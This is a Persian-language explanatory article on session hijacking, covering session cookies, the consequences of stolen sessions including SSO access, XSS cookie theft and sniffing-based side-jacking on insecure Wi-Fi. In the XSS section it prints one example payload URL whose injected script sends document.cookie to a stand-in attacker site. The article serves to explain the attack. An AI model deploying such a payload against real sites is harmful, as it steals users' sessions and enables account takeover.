Session Hijacking چیست؟
Session Hijacking حمله ای است که در آن جلسه و یا Session کاربر توسط مهاجم تسخیر می شود. Session هنگامی که وارد یک سرویس می شوید، به عنوان مثال برنامه بانکی، شروع می شود و هنگامی که از سیستم خارج می شوید به پایان می رسد. این حمله به دانش مهاجم در مورد کوکی جلسه شما متکی است، بنابراین به آن ربودن کوکی cookie hijacking یا cookie side-jacking نیز گفته می شود. اگرچه هر جلسه ای می تواند ربوده شود، اما Session Hijacking بیشتر به جلسات مرورگر و برنامه های وب اعمال می شود.
در بیشتر موارد وقتی وارد یک برنامه وب می شوید، سرور یک کوکی جلسه موقت را در مرورگر شما تنظیم می کند تا بخاطر بسپارد که شما در حال حاضر وارد سیستم شده و احراز هویت شده اید. HTTP یک پروتکل بدون حالت است و کوکی های جلسه متصل به هر عنوان HTTP محبوب ترین روش برای شناسایی سرور یا جلسه فعلی شما برای سرور است.
برای انجام Session Hijacking، یک مهاجم باید شناسه جلسه قربانی (کلید جلسه) را بداند. این را می توان با سرقت کوکی جلسه و یا ترغیب کاربر برای کلیک بر روی یک پیوند مخرب که برای بدست آوردن شناسه جلسه آماده شده، بدست آورد. در هر دو حالت پس از احراز هویت کاربر بر روی سرور، مهاجم می تواند جلسه را با استفاده از شناسه جلسه یکسان برای جلسه مرورگر خود کار ربودن جلسه کاربر را انجام دهد. سپس سرور فریب خورده و ارتباط مهاجم را به عنوان جلسه معتبر کاربر اصلی تلقی می کند.
توجه: هنگام صحبت درباره حملاتی که کوکی های جلسه را هدف قرار می دهند، مفهوم مربوط به Session Hijacking در لایه جلسه TCP نیست. به این دلیل که کوکی ها از ویژگی های HTTP هستند که این یک پروتکل در سطح برنامه است، در حالی که TCP در سطح شبکه کار می کند. کوکی جلسه شناسه ای است که پس از تأیید موفقیت آمیز توسط برنامه وب بازگردانده می شود و جلسه آغاز شده توسط کاربر برنامه هیچ ارتباطی با اتصال TCP بین سرور و دستگاه کاربر ندارد.
مهاجمین پس از Session Hijacking در جلسه موفقیت آمیز چه کاری می توانند انجام دهند؟
در صورت موفقیت، مهاجم می تواند هر اقدامی را انجام دهد که کاربر اصلی مجاز به انجام آن در طول جلسه فعال است. بسته به برنامه هدفمند این ممکن است به معنای انتقال پول از حساب بانکی کاربر، نمایش به عنوان کاربر برای خرید اقلام در فروشگاه های وب، دسترسی به اطلاعات شخصی دقیق برای سرقت هویت، سرقت اطلاعات شخصی مشتریان از سیستم های شرکت و موارد دیگر باشد.
یک خطر خاص برای سازمان های بزرگتر این است که از کوکی ها می توان برای شناسایی کاربران معتبر در سیستم های ورود به سیستم (SSO) نیز استفاده کرد. این بدان معناست که یک Session Hijacking موفقیت آمیز جلسه می تواند SSO مهاجم را به چندین برنامه وب، از سیستم های مالی و سوابق مشتری گرفته تا سیستم های اطلاعات حاوی مالکیت معنوی ارزشمند دسترسی دهد. برای کاربران فردی، هنگام استفاده از سرویس های خارجی برای ورود به برنامه ها، خطرات مشابهی نیز وجود دارد، اما به دلیل استفاده از مکانیزم های احراز هویت اضافی مانند رمز یکبار مصرف پس از ورود به سیستم به عنوان مثال در انتقال وجه به طور کلی ربودن کوکی جلسه برای سو استفاده از حساب کافی نخواهد بود.
روش های اصلی Session Hijacking کدامند و چگونه کار می کنند؟
مهاجمان بسته به موقعیت گزینه های مختلفی برای Session Hijacking دارند. اولین دسته گسترده حملاتی هستند که بر رهگیری کوکی ها متمرکز هستند:
Cross-site scripting (XSS): این احتمالاً خطرناک ترین و گسترده ترین روش برای Session Hijacking در جلسات وب است. با سواستفاده از نقاط ضعف سرور یا برنامه ، مهاجمان می توانند اسکریپت های سمت مشتری (به طور معمول JavaScript را به صفحات وب تزریق کنند، و باعث می شود مرورگر شما هنگام بارگذاری یک صفحه کد دلخواه را اجرا کند. اگر سرور ویژگی HttpOnly را در کوکی های جلسه تنظیم نکند، اسکریپت های تزریقی می توانند به کلید جلسه شما دسترسی پیدا کنند و اطلاعات لازم را برای حمله به مهاجمین ارائه دهند.
به عنوان مثال مهاجمان ممکن است از طریق ایمیل یا پیام های IM یک لینک خاص ساخته شده به یک وب سایت شناخته شده و قابل اعتماد را انتشار دهند اما این لینک پارامترهای جستجوی HTTP هستند که از یک آسیب پذیری شناخته شده برای تزریق کد اسکریپت بهره برداری می کند. حمله XSS که برای ربودن جلسه استفاده می شود، این کد ممکن است کلید جلسه را به وب سایت خود مهاجم ارسال کند، به عنوان مثال:
http://www.TrustedSearchEngine.com/search?<script>location.href=’http://www.SecretVillainSite.com/hijacker.php?cookie=’+document.cookie;</script>
این کوکی جلسه فعلی را با استفاده از document.cookie خوانده و با تنظیم URL موقعیت مکانی در مرورگر با استفاده از location.href آن را به وب سایت مهاجم ارسال می کند. در زندگی واقعی ، چنین پیوندهایی ممکن است از کدگذاری نیز برای ناشناس کردن کد و خدمات کوتاه کردن URL استفاده کنند تا از پیوندهای طولانی مشکوک جلوگیری کنند. در این حالت، یک حمله موفقیت آمیز به برنامه و وب سرور بستگی دارد که ورودی غیراصولی از درخواست HTTP را می پذیرد و اجرا می کند.
Session side jacking
این نوع حمله به مشارکت فعال مهاجم نیاز دارد و اولین چیزی است که وقتی افراد به “هک شدن” فکر می کنند، به ذهن خطور می کند. با استفاده از شنود ترافیک، مهاجمان می توانند ترافیک شبکه کاربر را کنترل کرده و کوکی های جلسه را پس از احراز هویت کاربر در سرور، رهگیری کنند. اگر وب سایت فقط از رمزگذاری SSL / TLS برای صفحات ورود به سیستم و نه برای کل جلسه استفاده می کند، مهاجم می تواند با استفاده از شنود کلید جلسه، جلسه را ربوده و شخص را جعل کند تا کاربر در برنامه وب مورد نظر اقدام کند. از آنجا که مهاجم نیاز به دسترسی به شبکه قربانی دارد، سناریوهای حمله معمول شامل نقاط غیر امن Wi-Fi است، جایی که مهاجم می تواند ترافیک را در یک شبکه عمومی کنترل کند یا نقطه دسترسی خود را تنظیم کند و حملات مرد میانی MITM را انجام دهد.
دیدگاهتان را بنویسید